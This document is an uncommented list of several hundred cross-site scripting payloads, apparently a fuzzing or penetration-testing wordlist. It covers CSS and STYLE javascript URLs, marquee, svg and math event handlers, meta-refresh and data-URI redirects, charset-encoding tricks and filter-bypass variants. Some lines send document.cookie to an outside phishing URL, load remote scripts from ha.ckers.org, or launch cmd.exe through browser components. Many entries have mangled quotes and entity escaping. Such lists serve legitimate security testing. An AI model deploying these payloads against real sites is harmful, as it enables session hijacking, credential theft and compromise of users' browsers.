&lt;STYLE&gt;&#46;1{background-image&#58;url(\”javascript&#058;alert(‘1’)\”);}&lt;/STYLE&gt;&lt;A CLASS=1&gt;&lt;/A&gt;
&lt;STYLE&gt;BODY{-moz-binding&#58;url(\”http&#58;//ha&#46;ckers&#46;org/1moz&#46;xml#1\”)}&lt;/STYLE&gt;
&lt;STYLE&gt;@import’http&#58;//ha&#46;ckers&#46;org/1&#46;css’;&lt;/STYLE&gt;
&lt;STYLE&gt;@im\port’\ja\vasc\ript&#58;alert(\”1\”)’;&lt;/STYLE&gt;
&lt;STYLE&gt;li {list-style-image&#58; url(\”javascript&#058;alert(‘1’)\”);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;1
&lt;STYLE type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert(&apos;1&apos;)&quot;)}&lt;/STYLE&gt;&lt;STYLE TYPE=&quot;text/javascript&quot;&gt;alert(&apos;1&apos;);&lt;/STYLE&gt;
lt;STYLE TYPE=&quot;text/javascript&quot;&gt;alert(&apos;1&apos;);&lt;/STYLE&gt;
&lt;STYLE type=\”text/css\”&gt;BODY{background&#58;url(\”javascript&#058;alert(‘1’)\”)}&lt;/STYLE&gt;
&lt;STYLE TYPE=\”text/javascript\”&gt;alert(‘1’);&lt;/STYLE&gt;
&lt;svg/onload=alert(63)//
&lt;svg/onload&equals;alert(1)&gt;
&lt;t&#58;set attributeName=\”innerHTML\” to=\”1&lt;SCRIPT DEFER&gt;alert(&quot;1&quot;)&lt;/SCRIPT&gt;\”&gt;
&lt;TABLE BACKGROUND=\”javascript&#058;alert(‘1’)\”&gt;
&lt;TABLE&gt;&lt;TD BACKGROUND=\”javascript&#058;alert(‘1’)\”&gt;
&lt;/TITLE&gt;&lt;SCRIPT&gt;alert(“1”);&lt;/SCRIPT&gt;
&lt;/TITLE&gt;&lt;SCRIPT&gt;alert(\”1\”);&lt;/SCRIPT&gt;
&lt;?xml&#58;namespace prefix=\”t\” ns=\”urn&#58;schemas-microsoft-com&#58;time\”&gt;
&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;!&#91;CDATA&#91;&lt;IMG SRC=\”javas&#93;&#93;&gt;&lt;!&#91;CDATA&#91;cript&#58;alert(‘1’);\”&gt;&#93;&#93;&gt;
&lt;XML ID=&quot;1&quot;&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=&quot;javas&lt;!?—?— &gt;cript:alert(&apos;1&apos;)&quot;&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
&lt;XML ID=\”1\”&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=\”javas&lt;!?—?— &gt;cript&#58;alert(‘1’)\”&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
&lt;XML SRC=\”1test&#46;xml\” ID=I&gt;&lt;/XML&gt;
‘’;!?—?\”&lt;1&gt;=&{()}
&lt;1 STYLE=\”behavior&#58; url(1&#46;htc);\”&gt;
&lt;1 STYLE=\”1&#58;expression(alert(‘1’))\”&gt;
maliciousdata[varinput[‘name’]] = payloads[1]
<marguee/onstart=alert(1)>//INJECTX
<marker id=”a” markerWidth=”1000" markerHeight=”1000" refX=”0" refY=”0">
“><marquee>confirm( `bypass :)`)</marquee>
<marquee/finish=confirm(2)>/
‘“>><marquee><h1>1</h1></marquee>
<marquee><h1>1 by 1</h1></marquee>
‘>><marquee><h1>1</h1></marquee> 
‘>><marquee><h1>1</h1></marquee>
‘“>><marquee><h1>1</h1></marquee> 
‘“>><marquee><img src=x onerror=confirm(1)></marquee>
‘“>><marquee><img src=x onerror=confirm(1)></marquee>”></plaintext\></|\><plaintext/onmouseover=prompt(1)>
 “>><marquee><img src=x onerror=confirm(1)></marquee>” ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/1/) type=submit>’ ?” ></script><script>alert(1)</script>”><img/id=”confirm&lpar; 1)”/alt=”/”src=”/”onerror=eval(id&%23x29;>’”><img src=”http: //i.imgur.com/P8mL8.jpg”>
‘“>><marquee><img src=x onerror=confirm(1)></marquee>”></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/1/) type=submit>’ ?”></script><script>alert(1)</script>”><img/id=”confirm&lpar;1)”/alt=”/”src=”/”onerror=eval(id&%23x29;>’”><img src=”http://i.imgur.com/P8mL8.jpg">
<marquee loop=1 width=0 onfinish=alert(1)>
>><marquee loop=1 width=0 onfinish=alert(1)>
<marquee loop=1 width=0 onfinish=alert(100)>
<marquee loop=1 width=0 onfinish=alert(1)>//INJECTX
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)
 /><marquee onfinish=confirm(1)>a</marquee>
/><marquee onfinish=confirm(1)>a</marquee>
<marquee onScroll marquee onScroll=”javascript:javascript:alert(1)”></marquee onScroll>
<mArquee onStart%3D[~[onmouseleave(([[(alert(1))]]))]] ]
<marquee onstart=alert(1)>
<marquee/onstart=alert(1)>renwa
<marquee onstart=alert(30)></marquee>
<marquee onstart=alert(99)>
<marquee onstart=alert(‘1’)>
<marquee/onstart=confirm(2)>/
<marquee/onstart=confirm(2)>
<marquee/onstart=confirm(/1/.source);confirm(1)>
><marquee/onstart=confirm(/1/.source);confirm(1)>
“<marquee/onstart=confirm(/1/.source);confirm(1)>”
“\”><marquee/onstart=confirm(/1/.source);confirm(1)>”,
<marquee/onstart=document.body.innerHTML=location.hash>//#<img src=x onerror=prompt(1)>>
<marquee onstart=’javascript:alert(‘1’);’>=(?_?)=
<marquee onstart=’javascript:alert&#x28;1&#x29;’>^__^
<marquee onstart=’javascript:confirm&#x28;1&#x29;’>^__^
<marquee onStart marquee onStart=”javascript:javascript:alert(1)”></marquee onStart>
<marquee/onstart=this[‘innerHTML’]=location.hash;>//#<img src=x onerror=alert(document.domain)>
<marquee/onstart=this[‘innerHTML’]=unescape(location.hash);>//#<img src=x onerror=alert(document.domain)>
<marquee><script>alert(‘1’)</script></marquee> 
<marquee><script>alert(‘1’)</script></marquee>
‘;’>”><marquee>test</marquee><plaintext/onmouseover=prompt(test)>
<math><annotation-xml encoding=text/html><![CDATA[></math><!]]>
<math><annotation-xml encoding=text/html><script></</script/>a<!>l<?>ert&lpar;</>1&rpar;</></script>
<math><annotation-xml encoding=”text/html”><xmp>&lt;/xmp&gt;&lt;img src=x onerror=alert(1)&gt;</xmp>
<math><annotation-xml><textarea/><svg><script>alert(1)</script>
<math><a xlink:href=javascript:…>
<math><a xlink:href=javascript:alert(1)>M
<math><a/xlink:href=javascript&colon;confirm&lpar;1&rpar;>click
<math><a/xlink:href=javascript:eval(‘\141\154\145\162\164\50\61\51’)>X
<math><a xlink:href=”//jsfiddle.net/t846h/”>click //
<math><a xlink:href=”//jsfiddle.net/t846h/”>click 
<math><a xlink:href=”//jsfiddle.net/t846h/”>click
<Math> <a xlink:href=”//jsfiddle.net/t846h/”> click
<math><brute href=javascript:alert(1)>
<math><brute href=javascript:alert(1)>click *
<math><brute href=javascript:alert(1)>click 
<math><brute href=javascript:alert(1)>click
<math><brute xlink:href=javascript:alert(175)>click 
<math><brute xlink:href=javascript:alert(1)>click *
<math><brute xlink:href=javascript:alert(1)>click 
<math><brute xlink:href=javascript:alert(1)>click
<math href=”javascript:alert(1)”>CLICKME
<math href=”javascript:javascript:alert(1)”>CLICKME</math> <math> <maction actiontype=”statusline#http://google.com" xlink:href=”javascript:javascript:alert(1)”>CLICKME</maction> </math>
<math><kukux href=javascript:alert(164)>click 
<math><kukux xlink:href=javascript:alert(175)>click 
<math><maction actiontype=”statusline#http://google.com" href=”//evil”>click
<math><script>//<head><script>alert(1)</script>
<math><script>sgl=’<img/src=xx:x onerror=alert(1)>’</script>
<math><style>*{font-family:’<img/src=xx:x onerror=alert(1)>’}</style>
<math><!V href=javascript:alert(1)//
<math><!V” href=javascript:alert(1)//
<math xlink:href=javascript:..>
<math xlink:href=”jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/?—?!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e”>click me</math>
<math xml:base=”javascript:alert(1)//”><mrow href=”#”>qwe</mrow></math>
<math xml:base=”javascript:alert(1)//”> <mrow href=”#”>qwe</mrow></math>
<math><1 href=”javascript:alert(location)”>aaa
{{m=[({}).constructor.defineProperties];[[‘’.toString.constructor,{‘constructor’:{} }].reduce(m[0])];’’.toString.constructor(‘alert(1)’)()}}
<me#a http-equiv=Content-Security-Policy content=script-src self>
me!</button></form></dialog>
<menu id=x contextmenu=x onshow=alert(107)>right click me!
<menu id=x contextmenu=x onshow=alert(1)>right click me!
<meta charset=gbk><script>a=’x?\’;alert(1)//’;</script>
<meta charset=iso-2022-cn>
<meta charset=iso-2022-jp><%1B(Jd%1B(Ji%1B(Jv><i%1B(Jm%1B(Jg s%1B(Jr%1B(Jc%1B(J=%1B(Jx o%1B(Jn%1B(Jer%1B(Jr%1B(Jo%1B(Jr%1B(J=%1B(Ja%1B(Jl%1B(Je%1B(Jr%1B(Jt(1)//%1B(J<%1B(J/%1B(Jd%1B(Jiv%1B(J>%1B(J
<meta charset=iso-2022-jp><script>alert(1)[0x1B]$@[0x0A]</script>
<meta charset=iso-2022-jp><script>alert(14)[0x1B]$@[0x0A]</script>
<meta charset=iso-2022-jp><svg o[0x1B](Bnload=alert(1)>
<meta charset=iso-2022-jp><svg o[0x1B](Bnload=alert(13)>
<meta charset=”mac-farsi”>?script?javascript:alert(1)?/script?
<meta charset=”x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
<meta charset= “x-imap4-modified-utf7”&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&>
<meta charset=”x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
<meta charset=”x-mac-farsi”>A?A?script A?A?confirm(1)//A?A?/script A?A?
<meta/content=”0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg==”http-equiv=refresh>
<meta content=”&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)” http-equiv=”refresh”/>
<meta content=”&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)” http-equiv=”refresh”/>
<Meta content = “& NewLine; 1 & NewLine ;; JAVASCRIPT & colon; alert (1)” http-equiv = “refresh” />
<meta content=”&NewLine; 1 &NewLine;; JAVASCRIPT&colon; confirm(1)” http-equiv=”refresh”/>
<META HTTP-EQUIV=”Link” Content=”<%(css)s>; REL=stylesheet”>
<;META HTTP-EQUIV=”;Link”; Content=”;<;http://ha.ckers.org/1.css>;; REL=stylesheet”;>;
<META HTTP-EQUIV=”Link” Content=”<http://ha.ckers.org/1.css>; REL=stylesheet”>
<META HTTP-EQUIV=”Link” Content=”<http://ha.ckers.org/1.css>;; REL=stylesheet”>
<meta HTTP-EQUIV=”Link” Content=”<http://www.securitycompass.com/1.css>; REL=stylesheet”>
<META HTTP-EQUIV=”Link” Content=”<http://1.cx/1.css>; REL=stylesheet”>
<META HTTP-EQUIV=”Link” Content=”<http://xxxx.com/1.css>; REL=stylesheet”>
<META HTTP-EQUIV=”Link” Content=”<javascript:alert(‘1’)>; REL=stylesheet”>
<META HTTP-EQUIV=”Link” Content=”<javascript:confirm(document.location)>; REL=stylesheet”>
<meta http-equiv=”refresh” content=”0;
<meta http-equiv=refresh content=”0 javascript:alert(1)”>
<meta http-equiv=”refresh” content=”0;javascript&colon;alert(1)”/>
<meta http-equiv=”refresh” content=”0;javascript&colon;alert(1)”/>?
<Meta http-equiv = “refresh” content = “0; javascript & colon; alert (1)” />
<meta http-equiv=”refresh” content=”0;javascript&colon;confirm(1)”/>?
<meta http-equiv=”refresh” content=”0;javascript&colon;confirm(1)”/>
“><meta http-equiv=”refresh” content=”0;javascript&colon;confirm(1)”/>
<meta http-equiv=refresh content=”0 javascript:confirm(1)”>
<meta http-equiv=”refresh” content=”0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E”>
<;META HTTP-EQUIV=”;refresh”; CONTENT=”;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K”;>;
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=data:text/html;base64###PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K”>
<meta http-equiv=”refresh” content=”0;url=//goo.gl/nlX0P”>
<Meta http-equiv = “refresh” content = “0; url = // goo.gl/nlX0P”>
<meta http-equiv=”refresh” content=”0;url=http://good/[>>>inj]&#59url=http://evil/[<<<inj]">
<;META HTTP-EQUIV=”;refresh”; CONTENT=”;0; URL=http://;URL=javascript:alert(';1';);";>;
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert('1');"> 
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert('1');">
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(1);">
<META HTTP-EQUIV=\”refresh\” CONTENT=\”0; URL=http://;URL=javascript:alert('1');\">
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:confirm(document.location);">
<meta HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:document.vulnerable=true;">
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:javascript:alert(1);">
<META HTTP-EQUIV=\”refresh\” CONTENT=\”0;url=javascript:alert(1);\”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XoSS’);”>
<;META HTTP-EQUIV=”;refresh”; CONTENT=”;0;url=javascript:alert(‘;1’;);”;>;
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘1’);”> 
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘1’);”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(1);”>
<META HTTP-EQUIV=\”refresh\” CONTENT=\”0;url=javascript:alert(‘1’);\”>
<meta http-equiv=”refresh” content=”0;url=javascript:confirm(1)”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:confirm(document.location);”>
<meta http-equiv=”refresh” content=”0;url=javascript:document.vulnerable=true;”>
<meta HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:document.vulnerable=true;”>
“><meta http-equiv=”Refresh” content=”0;url=javascript:document.write(String.fromCharCode(60)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(32)+String.fromCharCode(115)+String.fromCharCode(114)+String.fromCharCode(99)+String.fromCharCode(61)+String.fromCharCode(120)+String.fromCharCode(120)+String.fromCharCode(120)+String.fromCharCode(62)+String.fromCharCode(60)+String.fromCharCode(47)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(62))>
“><meta http-equiv=”Refresh”content=”0;url=javascript:document.write(String.fromCharCode(60)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(32)+String.fromCharCode(115)+String.fromCharCode(114)+String.fromCharCode(99)+String.fromCharCode(61)+String.fromCharCode(120)+String.fromCharCode(120)+String.fromCharCode(120)+String.fromCharCode(62)+String.fromCharCode(60)+String.fromCharCode(47)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(62))>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:javascript:alert(1);”>
<meta http-equiv=refresh content=+.1,javascript:confirm(document.cookie)>
<meta http-equiv=refresh content=”?,javascript&colon;alert(1)”>
<META HTTP-EQUIV=”Set-Cookie” Content=”USERID=&lt;SCRIPT&gt;alert(‘1’)&lt;/SCRIPT&gt;”>
<META HTTP-EQUIV=”Set-Cookie” Content=”USERID=&lt;SCRIPT&gt;confirm(document.location)&lt;/SCRIPT&gt;”>
<;META HTTP-EQUIV=”;Set-Cookie”; Content=”;USERID=<;SCRIPT>;alert(‘;1’;)<;/SCRIPT>;”;>;
<META HTTP-EQUIV=”Set-Cookie” Content=”USERID=<SCRIPT>alert(‘1’)</SCRIPT>”>
<meta HTTP-EQUIV=”Set-Cookie” Content=”USERID=<SCRIPT>document.vulnerable=true</SCRIPT>”>
<meta http-equiv=”x-ua-compatible” content=”ie=7">
<meta http-equiv=”x-ua-compatible” content=”ie=7"><iframe src=//targetsite.com?1=<div/style=”width:expression(confirm(1))”>X</div>
<meta http-equiv=”x-ua-compatible” content=”ie=7"><iframe src=??//targetsite.com?1=<div/style=”width:expression(confirm(1))”>X</div>??
<meta http-equiv=x-ua-compatible content=ie=8>
<meta http-equiv=”x-ua-compatible” content=”ie=9">
<meta http-equiv=”x-ua-compatible” content=”ie=9"><iframe src=//targetsite?1=<svg/onload%00=%00locatio%00n=nam%00e name=javascript:alert(document.domain)>
<meta name=referrer content=never>
<META onpaonpageonpagonpageonpageshowshoweshowshowgeshow=”alert(1)”;
<meta style=”1:expression(open(alert(1)))” />
<meter onmouseover=”alert(1)”
method=”dialog”><button>Close
<MovieHeight>600</MovieHeight>
?movieName=”;]);}catch(e){}if(!self.a)self.a=!confirm(document.domain);//
<MovieURL>http://thebest404pageever.com/swf/FUUUUUUUUUUUUUUUUUUUUUUUUUCK.swf</MovieURL>
<MovieWidth>800</MovieWidth>
moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
$=<>@mozilla.org/js/function</>;$::[<>alert</>](/@superevr/) 
$=<>@mozilla.org/js/function</>;$::[<>alert</>](/@superevr/)
myTagid=”someId” class=”class1vdata-foo=”bar” /myTag
myTagid=”someId” class=”class1vdata-foo=”bar”?/myTag
name=alert(1)onerror=eval(name) src=1 autofocus onfocus=eval(name)
name=javascript:alert(document.domain)>
name=”javascript:alert(“1”)”></iframe>
<name>’,’’)); phpinfo(); exit;/*</name>
navigateToURL(new URLRequest(“Javascript: document.write(\”<script>confirm(1)</scr\”+\”ipt>\”)”),”_self”)
navigator.geolocation.getCurrentPosition(function(p){
navigatorurl:test” -chrome “javascript:C=Components.classes;I=Components.interfaces;file=C[\’@mozilla.org/file/local;1\’].createInstance(I.nsILocalFile);file.initWithPath(\’C:\’+String.fromCharCode(92)+String.fromCharCode(92)+\’Windows\’+String.fromCharCode(92)+String.fromCharCode(92)+\’System32\’+String.fromCharCode(92)+String.fromCharCode(92)+\’cmd.exe\’);process=C[\’@mozilla.org/process/util;1\’].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)
navigator.vibrate(500)
navigator.webkitGetUserMedia({‘video’:true},function(s){
navigator.webkitGetUserMedia({video:true},function(s){
\nconfirm(1)
<NeatHtmlLt />&lt;BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“1”)>
<NeatHtmlLt />&lt;? echo(‘<NeatHtmlLt />&lt;SCR)’; echo(‘IPT>alert(“1”)</SCRIPT>’); ?>
<NeatHtmlLt />&lt;IMG “””><SCRIPT>alert(“1”)</SCRIPT>”>
<NeatHtmlLt />&lt;IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<NeatHtmlLt />&lt;IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<NeatHtmlLt />&lt;IMG SRC=`javascript:alert(“RSnake says, ‘1’”)`>
<NeatHtmlLt />&lt;IMG SRC=”javascript:alert(‘1’)”
<NeatHtmlLt />&lt;IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<NeatHtmlLt />&lt;?import namespace=”1”implementation=”http://ha.ckers.org/1.htc">
<NeatHtmlLt />&lt;META HTTP-EQUIV=”Link” Content=”<NeatHtmlLt />&lt;http://ha.ckers.org/1.css>; REL=stylesheet”>
<NeatHtmlLt />&lt;META HTTP-EQUIV=”refresh”CONTENT=”0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K”>
<NeatHtmlLt />&lt;META HTTP-EQUIV=”refresh” CONTENT=”0;URL=http://;URL=javascript:alert('1');">
<NeatHtmlLt />&lt;META HTTP-EQUIV=”refresh”CONTENT=”0;url=javascript:alert(‘1’);”>
<NeatHtmlLt />&lt;META HTTP-EQUIV=”Set-Cookie” Content=”USERID=&lt;SCRIPT&gt;alert(‘1’)&lt;/SCRIPT&gt;”>
<NeatHtmlLt />&lt;<SCRIPT>alert(“1”);//<NeatHtmlLt />&lt;</SCRIPT>
<NeatHtmlLt />&lt;SCRIPT\s” != “<NeatHtmlLt />&lt;SCRIPT/1\s
<NeatHtmlLt />&lt;SCRIPT SRC=http://ha.ckers.org/1.js?<B>
<NeatHtmlLt />&lt;SCRIPT/SRC=”http://ha.ckers.org/1.js"></SCRIPT>
/<NeatHtmlLt />&lt;script((\s+\w+(\s*=\s*(?:”(.)*?”|’(.)*?’|[^’”>\s]+))?)+\s*|\s*)src/i
<NeatHtmlLt />&lt;SCRIPT/1 SRC=”http://ha.ckers.org/1.js"></SCRIPT>
<NeatHtmlParserReset s=’’ d=”” /><script></script><TABLE BACKGROUND_NeatHtmlReplace=”javascript:alert(‘1’)”>
<NeatHtmlReplace_BASE HREF=”javascript:alert(‘1’);//”>
<NeatHtmlReplace_BGSOUND SRC_NeatHtmlReplace=”javascript:alert(‘1’);”>
<NeatHtmlReplace_BODY BACKGROUND_NeatHtmlReplace=”javascript:alert(‘1’)”>
<NeatHtmlReplace_BODY ONLOAD_NeatHtmlReplace=”alert(‘1’)”>
<NeatHtmlReplace_C>&lt;IMG SRC=&quot;javascript:alert(‘1’);&quot;&gt;
</NeatHtmlReplace_C></NeatHtmlReplace_X></NeatHtmlReplace_xml><SPAN DATASRC_NeatHtmlReplace=”#I” DATAFLD_NeatHtmlReplace=”C” DATAFORMATAS_NeatHtmlReplace=”HTML”></SPAN>
<NeatHtmlReplace_EMBED SRC_NeatHtmlReplace=”data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==” type=”image/svg+xml” AllowScriptAccess_NeatHtmlReplace=”always”></NeatHtmlReplace_EMBED>
<NeatHtmlReplace_EMBED SRC_NeatHtmlReplace=”http://ha.ckers.org/1.swf" AllowScriptAccess_NeatHtmlReplace=”always”></NeatHtmlReplace_EMBED>
<NeatHtmlReplace_FRAMESET><NeatHtmlReplace_FRAME SRC_NeatHtmlReplace=”javascript:alert(‘1’);”></NeatHtmlReplace_FRAMESET>
</NeatHtmlReplace_HEAD>+ADw-SCRIPT+AD4-alert(‘1’);+ADw-/SCRIPT+AD4-
<NeatHtmlReplace_HEAD><NeatHtmlLt />&lt;META HTTP-EQUIV=”CONTENT-TYPE” CONTENT=”text/html; charset=UTF-7">
<NeatHtmlReplace_HTML xmlns:1_NeatHtmlReplace=”xmlns:1”>
<NeatHtmlReplace_IFRAME SRC_NeatHtmlReplace=”javascript:alert(‘1’);”></NeatHtmlReplace_IFRAME>
<NeatHtmlReplace_INPUT TYPE=”IMAGE” SRC_NeatHtmlReplace=”javascript:alert(‘1’);”>
<NeatHtmlReplace_LAYER SRC_NeatHtmlReplace=”http://ha.ckers.org/scriptlet.html"></NeatHtmlReplace_LAYER>
<NeatHtmlReplace_LINK REL=”stylesheet” HREF=”http://ha.ckers.org/1.css">
<NeatHtmlReplace_LINK REL=”stylesheet” HREF=”javascript:alert(‘1’);”>
<NeatHtmlReplace_OBJECT classid=”clsid:ae24fdae-03c6–11d1–8b76–0080c744f389"><NeatHtmlReplace_param name=”url” value=”javascript:alert(‘1’)”></NeatHtmlReplace_OBJECT>
<NeatHtmlReplace_OBJECT TYPE=”text/x-scriptlet” DATA_NeatHtmlReplace=”http://ha.ckers.org/scriptlet.html"></NeatHtmlReplace_OBJECT>
</NeatHtmlReplace_STYLE><A CLASS=”1”></A>
<NeatHtmlReplace_STYLE>BODY{-moz-binding:url(“http://ha.ckers.org/1moz.xml#1")}</NeatHtmlReplace_STYLE>
<NeatHtmlReplace_STYLE>@import’http://ha.ckers.org/1.css';</NeatHtmlReplace_STYLE>
<NeatHtmlReplace_STYLE>@im\port’\ja\vasc\ript:alert(“1”)’;</NeatHtmlReplace_STYLE>
<NeatHtmlReplace_STYLE>li {list-style-image:url(“javascript:alert(‘1’)”);}</NeatHtmlReplace_STYLE><UL><LI>1
<NeatHtmlReplace_STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘1’)”)}</NeatHtmlReplace_STYLE>
<NeatHtmlReplace_STYLE TYPE=”text/javascript”>alert(‘1’);</NeatHtmlReplace_STYLE>
<NeatHtmlReplace_STYLE>.1{background-image:url(“javascript:alert(‘1’)”);}
<NeatHtmlReplace_TABLE><NeatHtmlParserReset s=’’ d=”” /><script></script><TD BACKGROUND_NeatHtmlReplace=”javascript:alert(‘1’)”>
</NeatHtmlReplace_TITLE><SCRIPT>alert(“1”);</SCRIPT>
<NeatHtmlReplace_XML ID=”I”><NeatHtmlReplace_X>
<NeatHtmlReplace_1 STYLE_NeatHtmlReplace=”behavior:url(1.htc);”>
<NeatHtmlReplace_1 STYLE_NeatHtmlReplace=”1:expression(alert(‘1’))”>
<NeatHtmlReplace_1:1>1</NeatHtmlReplace_1:1> </NeatHtmlReplace_HTML>
(new Array).filter.constructor(‘alert(1)’)()
new class extends class extends class extends class extends alert(1){}{}{}{}
new Function`al\ert\`6\``;
new Function(location.search.slice(1))();
new Image().src=”http://1or.io/phishing/cookie.asp?cookie="+escape(document.cookie);
&newLine;javascript:alert(1)
new new new new new`${alert(1)}`
new new new new new alert`1`
new XMLHttpRequest().open(“GET”, “data:text/html,<svg onload=confirm(2)></svg>”, false);
<noembed><img src=”</noembed><iframe onload=alert(1)>” /></noembed>
</noscript><br><code onmouseover=a=eval;b=alert;a(b(/h/.source));>MOVE MOUSE OVER THIS AREA</code>
<noscript><!?—?</noscript><img src=xx:x onerror=alert(1) ?
<noscript><noscript></noscript><script>confirm(1)</script></noscript>
null%22%20style%3d%22background%3aexpression%28confirm%282727%29
o={1.e+1111(){alert(arguments.callee);}};o[1e1111]()//
o={1.e+1111(){alert(arguments.callee);}};o[1e1111]()
<object%20allowscriptaccess=always>%20<param%20name=code%20value=http://renwa.tk/1.swf>
<object allowscriptaccess=always>
<object allowscriptaccess=”always” data=”test.swf”></object>
Object.bind(null,alert)()(1)
<object classid=”clsid:02BF25D5–8C17–4B23-BC80-D3488ABDDC6B” onqt_error=”alert(1)” style=”behavior:url(#x);”><param name=postdomevents /></object>
<object classid=”clsid:02BF25D5–8C17–4B23-BC80-D3488ABDDC6B” onqt_error=”javascript:alert(1)” style=”behavior:url(#x);”><param name=postdomevents /></object>
<OBJECT CLASSID=”clsid:333C7BC4–460F-11D0-BC04–0080C7055A83"><PARAM NAME=”DataURL” VALUE=”javascript:alert(1)”></OBJECT>
<OBJECT CLASSID=”clsid:333C7BC4–460F-11D0-BC04–0080C7055A83"><PARAM NAME=”DataURL” VALUE=”javascript:alert(1)”></OBJECT><;OBJECT classid=clsid:ae24fdae-03c6–11d1–8b76–0080c744f389>;<;param name=url value=javascript:alert(‘;1’;)>;<;/OBJECT>;
<;OBJECT classid=clsid:ae24fdae-03c6–11d1–8b76–0080c744f389>;<;param name=url value=javascript:alert(‘;1’;)>;<;/OBJECT>;
<OBJECT classid=clsid:ae24fdae-03c6–11d1–8b76–0080c744f389><param name=url value=javascript:alert(‘1’)></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6–11d1–8b76–0080c744f389><param name=url value=javascript:alert(1)></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6–11d1–8b76–0080c744f389><paramname=url value=javascript:alert(‘1’)></OBJECT>
